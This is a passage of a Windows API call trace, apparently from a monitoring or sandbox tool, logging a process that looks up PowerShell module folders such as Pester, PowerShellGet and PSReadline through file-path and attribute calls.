lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0200.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0200.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0200.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0200.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e380) returned 1 [0200.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003d4e78 | out: lpFileInformation=0x1ef003d4e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0200.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e340) returned 1 [0200.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0200.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0200.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e420 | out: lpFileInformation=0x5bfed4e420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0200.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e300) returned 1 [0200.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0200.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0200.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0200.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0200.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e380) returned 1 [0200.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003d51e8 | out: lpFileInformation=0x1ef003d51e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0200.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e340) returned 1 [0200.661] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psd1")) returned 0xffffffff [0200.661] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psm1")) returned 0xffffffff [0200.661] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.cdxml")) returned 0xffffffff [0200.661] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.xaml")) returned 0xffffffff [0200.661] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.ni.dll")) returned 0xffffffff [0200.661] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.dll")) returned 0xffffffff [0200.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e360) returned 1 [0200.661] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0200.661] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0200.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5bfed4e080 | out: lpFindFileData=0x5bfed4e080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704aa460 [0200.661] FindNextFileW (in: hFindFile=0x1ef704aa460, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.662] FindNextFileW (in: hFindFile=0x1ef704aa460, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x918eb69b, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x918eb69b, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0200.662] FindNextFileW (in: hFindFile=0x1ef704aa460, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0200.662] FindClose (in: hFindFile=0x1ef704aa460 | out: hFindFile=0x1ef704aa460) returned 1 [0200.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0200.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e260) returned 1 [0200.662] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0200.662] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0200.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.662] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e420 | out: lpFileInformation=0x5bfed4e420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0200.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e300) returned 1 [0200.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0200.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0200.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0200.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0200.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e380) returned 1 [0200.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003d7008 | out: lpFileInformation=0x1ef003d7008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0200.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e340) returned 1 [0200.663] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0200.663] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0200.663] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0200.663] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0200.663] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0200.663] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0200.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e360) returned 1 [0200.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0200.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0200.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\*", lpFindFileData=0x5bfed4e080 | out: lpFindFileData=0x5bfed4e080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704aa880 [0200.664] FindNextFileW (in: hFindFile=0x1ef704aa880, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.664] FindNextFileW (in: hFindFile=0x1ef704aa880, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1", cAlternateFileName="")) returned 1 [0200.664] FindNextFileW (in: hFindFile=0x1ef704aa880, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x918eb69b, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x918eb69b, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0200.664] FindNextFileW (in: hFindFile=0x1ef704aa880, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0200.664] FindClose (in: hFindFile=0x1ef704aa880 | out: hFindFile=0x1ef704aa880) returned 1 [0200.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0200.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e260) returned 1 [0200.665] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0200.665] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0200.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e420 | out: lpFileInformation=0x5bfed4e420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6)) returned 1 [0200.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e300) returned 1 [0200.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0200.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0200.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0200.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0200.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e380) returned 1 [0200.668] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003d9290 | out: lpFileInformation=0x1ef003d9290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6)) returned 1 [0200.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e340) returned 1 [0200.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0200.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0200.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.668] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e420 | out: lpFileInformation=0x5bfed4e420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0200.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e300) returned 1 [0200.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0200.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0200.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0200.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0200.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e380) returned 1 [0200.669] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003d9570 | out: lpFileInformation=0x1ef003d9570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0200.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e340) returned 1 [0200.669] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.psd1")) returned 0xffffffff [0200.669] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.psm1")) returned 0xffffffff [0200.669] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.cdxml")) returned 0xffffffff [0200.669] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.xaml")) returned 0xffffffff [0200.669] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.ni.dll")) returned 0xffffffff [0200.669] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.dll")) returned 0xffffffff [0200.671] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0200.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e360) returned 1 [0200.671] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", 